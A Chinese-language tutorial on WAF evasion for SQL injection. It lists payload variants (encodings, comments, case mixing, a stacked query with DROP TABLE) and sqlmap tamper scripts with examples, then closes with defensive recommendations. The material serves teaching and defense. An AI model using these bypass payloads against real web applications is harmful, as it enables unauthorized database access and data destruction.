SQL注入中的WAF绕过
字数 1854 2025-08-20 18:18:40
WAF绕过技术详解:SQL注入防御突破指南
一、WAF基础概念
1.1 WAF定义与作用
Web应用防火墙(WAF)是专门保护网络应用(如网站和web服务)的防火墙,主要功能包括:
- 过滤、监控和阻止恶意网络流量
- 防御SQL注入、XSS攻击、文件包含等威胁
- 作为网络安全策略的核心组成部分
1.2 WAF工作原理
- 流量监控与分析:分析HTTP流量识别攻击
- 规则集:使用预定义规则检测攻击特征
- 黑名单与白名单:基于IP或行为进行过滤
- 行为分析:高级WAF通过机器学习识别异常行为
1.3 WAF部署方式
- 硬件/虚拟设备:部署在网络基础设施中
- 主机软件:直接安装在服务器上
- 云服务:第三方提供的可扩展服务
二、SQL注入WAF绕过技术
2.1 基本编码绕过技术
2.1.1 特殊符号替换
SELECT+user+FROM mysql.user LIMIT 1; // 加号替换空格
SELECT-user FROM mysql.user LIMIT 1; // 减号
SELECT@user FROM mysql.user LIMIT 1; // @符号
SELECT!user FROM mysql.user LIMIT 1; // 感叹号
SELECT'user'FROM mysql.user LIMIT 1; // 单引号
SELECT"user"FROM mysql.user LIMIT 1; // 双引号
SELECT~user FROM mysql.user LIMIT 1; // 波浪号
2.1.2 注释技巧
SELECT user FROM mysql.user LIMIT 1 --; // 行尾注释
SELECT/**/user/**/FROM mysql.user LIMIT 1; // 块注释
2.2 高级编码技术
2.2.1 函数与转换
SELECT ASCII(SUBSTRING(user, 1, 1)) FROM mysql.user LIMIT 1;
SELECT CHAR(117,115,101,114) FROM mysql.user LIMIT 1;
2.2.2 编码表示
SELECT user FROM mysql.user WHERE user = 0x61646D696E LIMIT 1; // 十六进制
SELECT CONCAT('us','er') FROM mysql.user LIMIT 1; // 字符串拼接
2.3 数据库特性利用
2.3.1 大小写混合
SeLeCt user fRoM mysql.user LiMiT 1;
2.3.2 正则表达式
SELECT user FROM mysql.user WHERE user REGEXP '^z.*' LIMIT 1;
2.3.3 堆叠查询(需支持)
SELECT user FROM mysql.user; DROP TABLE test_table;
2.3.4 CASE语句
SELECT CASE WHEN (1=1) THEN user ELSE NULL END FROM mysql.user LIMIT 1;
2.4 HTTP请求欺骗技术
- 修改User-Agent、Referer等头部
- 使用非常规HTTP方法(PUT、DELETE等)
- 多字节字符编码(UTF-8等)
- 会话劫持技术
- 内容类型混淆(如multipart/form-data)
三、SQLMap Tamper脚本分类
3.1 通用脚本(ALL)
| 脚本名称 | 作用 | 示例 |
|---|---|---|
| apostrophemask.py | UTF8代替引号 | '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
| base64encode.py | Base64编码 | 'MScgQU5EIFNMRUVQKDUpIw==' |
| multiplespaces.py | 添加多个空格 | '1 UNION SELECT foobar' |
| space2plus.py | 空格替换为+ | 'SELECT+id+FROM+users' |
3.2 MSSQL专用脚本
| 脚本名称 | 作用 | 示例 |
|---|---|---|
| space2hash.py | 绕过'='过滤 | '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
| equaltolike.py | LIKE代替等号 | SELECT * FROM users WHERE id LIKE 1 |
| sp_password.py | 追加sp_password | '1 AND 9227=9227-- sp_password' |
3.3 MySQL专用脚本
| 脚本名称 | 作用 | 示例 |
|---|---|---|
| modsecurityversioned.py | 版本注释 | '1 /!30874AND 2>1/--' |
| space2mysqlblank.py | 特殊空白符 | SELECT%0Bid%0BFROM%A0users |
| bluecoat.py | 空格+LIKE | 'SELECT%09id FROM users where id LIKE 1' |
3.4 Oracle/PostgreSQL脚本
| 脚本名称 | 作用 | 示例 |
|---|---|---|
| greatest.py | 替换>号 | '1 AND GREATEST(A,B+1)=A' |
| charunicodeencode.py | Unicode编码 | %u0053%u0045%u004c... |
四、防御建议
- 多层防御策略:不依赖单一WAF
- 规则持续更新:及时更新WAF规则库
- 输入验证:严格的输入过滤
- 最小权限原则:数据库账户权限控制
- 定期渗透测试:发现潜在漏洞
- 日志监控:分析异常请求模式
五、总结
WAF绕过技术不断发展,从基本编码到高级数据库特性利用,攻击者采用多种手段突破防御。防御方需:
- 深入理解WAF工作原理
- 掌握常见绕过技术
- 实施深度防御策略
- 保持安全措施与时俱进
安全是持续的过程,需要技术、流程和人员的全面配合才能构建有效的防御体系。